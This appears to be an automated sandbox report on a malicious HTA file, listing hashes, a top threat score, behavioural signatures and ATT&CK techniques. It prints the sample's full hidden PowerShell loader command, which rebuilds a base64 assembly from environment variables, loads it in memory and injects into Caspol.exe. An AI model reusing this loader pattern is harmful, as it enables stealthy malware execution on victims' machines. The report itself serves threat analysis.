5da290106c6b55ceaae144118936194ea808f64972a49971265d992ab8081eb0

Analysis

max time kernel
148s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/09/2026, 18:24

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General

Target
gdprocess.hta
Size 2KB
Sample260924-w2a7jstset
SHA256 5da290106c6b55ceaae144118936194ea808f64972a49971265d992ab8081eb0
MD5 61e0e095d6d85bb9e34f23f911c0545d
SHA1 e8949bcccfa6c42ccc2f0673a06931f517ca8759
SHA512 a9bf135e8d79cb1e4124d0cc1efa66b3379f23a77efdc5d4ee1713a03693ee1e41b0a098fea19ab99dee36f7daf5620b96af3eda1ce1b9c39a793e8ff219ce25
TLSH
T152414B4352EE1108B1F71B8CA97362750BB7BE05693C899C14DC290D8FE3E5588A2BF7
MD5 SHA1 SHA512 TLSH

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1776	2596	powershell.exe	89

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4912	mshta.exe
8	1776	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1776	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1776 set thread context of 4376	1776	powershell.exe	92

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1776	powershell.exe
1776	powershell.exe
4376	Caspol.exe
4376	Caspol.exe
4376	Caspol.exe
4376	Caspol.exe
4376	Caspol.exe
4376	Caspol.exe
4376	Caspol.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1776	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1776 wrote to memory of 4376	1776	powershell.exe	92
PID 1776 wrote to memory of 4376	1776	powershell.exe	92
PID 1776 wrote to memory of 4376	1776	powershell.exe	92

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\gdprocess.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
PID:4912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$meltable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$dolabrate=[System.IO.MemoryStream][Convert]::FromBase64String($meltable);[System.Reflection.Assembly]::Load($dolabrate.ToArray())|Out-Null;[Win32.RMP.Cls_jbyAEZcyBu]::Met_jbyAEZcyBurG('87eRJFIiH7q87fzV4DM8QbshCC8GpXCBeW2pGGcI0njQpLRt840LMyOYJ28EArE4BpbGsNcHDKCU/wBsLkLe1w==','','p5dHR2Ttg/DYa7MVRimcNPkjO/tkenEiIZSCADYA+6JvwSF2k+ZAEQOGiCU/NXXe','5O7bFUhRc4PuMYhMbko4KT6Gij1CSIEqaZwqsfOx/AA=','x3Qz9SbeBm3b1f0S8qfjxEmGM+XueOY86lAzQ8U++zQ=','','gspqOZIIjG3iYlKrEqU9anPYMGycGFVJB5UeuSLFngA=','','yWAkvCqIKiQhAUtHl/jxUuwM4Rwwzs0pVGDt4hRFZxE=','btzqgv/J4dk5JO6nsOqCwpOHRn9Mq0oo1FEuXjM6a0Qhmdbc0jUZ7Z/K4bZ7rv93','u9rTfg+vapn9lb9hUyTApZUjnCT4xjQxgiyzX1fd3Es=','CTgrGLjMCweNwty43cbVrM4h6WVnMhNIvMSpXRhlm+0=','Pf8NCiNHJymtrUFsvg3o5dwP2Z4Ba5VmpEsuTKmKbyk=','','6Q19Y5f3li1GWQ73b98V6yv2CSdYDxmjzb1P1yYLBFY=','n4XggqGo4YXCV48lrDDWkh7wHUvSlQZspsRFAdgMUVI=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1776
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4376

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1776-8-0x0000023746120000-0x0000023746142000-memory.dmp

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memory/1776-12-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

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memory/1776-5-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

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memory/1776-6-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

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memory/1776-1-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

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memory/1776-7-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

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memory/1776-2-0x00000237460B0000-0x00000237460D2000-memory.dmp

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memory/1776-10-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

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memory/1776-0-0x00007FFD6AFFF000-0x00007FFD6B000000-memory.dmp

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memory/1776-11-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

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memory/1776-9-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

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memory/1776-13-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

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memory/1776-14-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

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memory/1776-17-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

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memory/4376-15-0x0000000000400000-0x0000000000446000-memory.dmp

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